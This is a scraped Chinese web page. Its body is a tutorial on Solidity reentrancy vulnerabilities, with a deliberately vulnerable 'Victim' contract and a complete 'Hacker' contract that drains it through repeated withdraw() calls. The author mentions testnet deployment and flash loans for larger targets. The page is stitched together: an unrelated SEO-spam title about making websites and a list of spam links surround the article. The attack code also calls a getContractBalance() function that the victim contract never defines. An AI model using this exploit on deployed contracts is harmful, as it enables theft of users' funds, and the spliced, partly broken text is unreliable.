当前位置: 首页 > news >正文

自己怎么手机做网站怎么发布自己做的网站

自己怎么手机做网站,怎么发布自己做的网站,网盘资源免费观看,济宁 创意大厦 网站建设重入漏洞 顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空…

重入漏洞

顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空。
以下,是一个有重入漏洞的合约,合约命名为Victim(受害者),主要实现几个功能:1)存款:用户往合约里存款,并给用户在合约里的账户记账(加);2)查询此合约的存款余额;3)取款:将用户之前存入的Ether转给用户并记账(减)。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract Victim {mapping(address => uint256) public balance;function deposit() public payable {//存款函数balance[msg.sender] += msg.value;//存款后往用户账户上记账}function getBalance(address account) public view returns (uint256) {//查看余额函数return balance[account];//返回用户账上的记录}function withdraw() public {//取款函数uint256 currentBalance = balance[msg.sender];//获取用户当前在合约里的余额并赋值给currentBalancerequire(currentBalance > 0);//要求用户当前在合约的余额大于0(bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为truerequire(successful, "Failed to withdraw Ether");//要求successful为truebalance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空}
}

问题出在这三行:

(bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为true
require(successful, "Failed to withdraw Ether");//要求successful为true
balance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空

第一行中,受害合约使用call给合约调用者转Ether,但是并不知道调用受害合约的是钱包地址(EOA)还是合约地址(contract)。如果调用受害合约的退款函数的是一个合约地址,那么可以做文章的地方就来了。

合约和钱包地址不太一样,并不是默认接收Ether的。一个合约要想接受别人发送的Ether,需要有receive函数或者fallback函数,也就是说,一个能接受Ether的合约在接收Ether的时候并非是被动接受,还会调用函数。

这一点我之前是没想通的,为什么给一个合约发送Ether还会调用对方的函数。如果是现实世界举例子,就像是你给一个公司的账户转账,会触发对方设定的一些条款(比如让你继续转账)。但是这就是Ethereum的特性。

如果我是攻击者,该怎么做?在我自己的合约的receive或者fallback函数里进行攻击。我在Goerli测试网部署的攻击合约如下,命名为Hacker(黑客):

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;//不方便引入,所以直接把Victim合约复制过来了
import "./victim.sol";contract Hacker {address owner;Victim victim;constructor (address _victim) {owner = msg.sender;victim = Victim(_victim);}modifier onlyOwner {require(msg.sender == owner);_;}function getBalance() public view returns(uint256) {return address(this).balance;}receive() external payable {if (victim.getContractBalance() >= 1 ether) {//①决定了漏洞合约里最终剩多少钱,一般是下面的msg.value减去这里的数值victim.withdraw();}}function attack() public payable onlyOwner {require(msg.value >= 1 ether);victim.deposit{value:msg.value}();//②这里的msg.value不能超过上面①处的数值,否则循环的最后一次漏洞合约里的Ether不够,转账失败,整个攻击就失败了victim.withdraw();}function withdrawToHacker() public onlyOwner {payable(msg.sender).transfer(address(this).balance);}
}

在重入的时候,每次退款的数额似乎会有不同的结果,我模拟的结果显示:往漏洞合约里转100E,然后分别使用1E/2E/4E/5E/10E(都能整除100)重入,只有10E成功,其他都报错了(可能和循环次数/堆栈有关?)。针对这种情况,如果目标合约里Ether较少,用自有资金攻击即可,但是如果目标合约的Ether较多,可能需要配合使用闪电贷。

http://www.yayakq.cn/news/627753/

相关文章:

  • 网站做强制访问控制做效果图赚钱的网站
  • 石家庄市住房城乡建设局网站wordpress如何让设置关键词
  • 龙华响应式网站建设wordpress addoption
  • 企业网站建设的管理制度小程序源码加密
  • 安阳哪里做360网站cms网站系统
  • 网站排名降级的原因有哪些网站开发不懂英语
  • 受欢迎的网站建设案例郑州大型网站制作
  • 网络推广模板网站开发网站要注意什么
  • 常德海关网站网络工程属于什么大类
  • 网易云音乐网站开发介绍wordpress插件怎么做
  • 做网站一般做几个尺寸如何快速推广app
  • 西安网站建设有那些公司网站开发企业标准
  • 扬州网站建设哪家公司好海外免费服务器
  • 无锡网站建设运营游戏推广员一个月能赚多少
  • 佛山网站制作系统德州网站网站建设
  • 模板网站建设一条龙齐齐哈尔建设局网站首页
  • 中企动力做的保安服务网站分销网站开发合同
  • 昆山网站建设犀牛大叔关键词林俊杰mp3下载
  • 免费搭建网站教程小程序视频网站开发
  • 搜中文找不到公司网站是怎么回事大连龙采做网站
  • 邢台网站建设报价wordpress后台进入后怎么安装模板
  • 巩义便宜网站建设费用郑州人流医院排名
  • php做网站视频织梦搭建本地网站
  • wordpress网站静态页面ps做电商网站尺寸是多少
  • 网上定做衣服的网站海外营销是干什么的
  • 深圳移动网站建设公如何网站公司小程序
  • wordpress右下角添加欢迎弹窗南宁百度seo排名
  • 做服装网站需要什么条件网络安全专业学什么
  • 网站建制作网络营销的支持条件是什么
  • 上海做网站开发的公司有哪些在线手机网站预览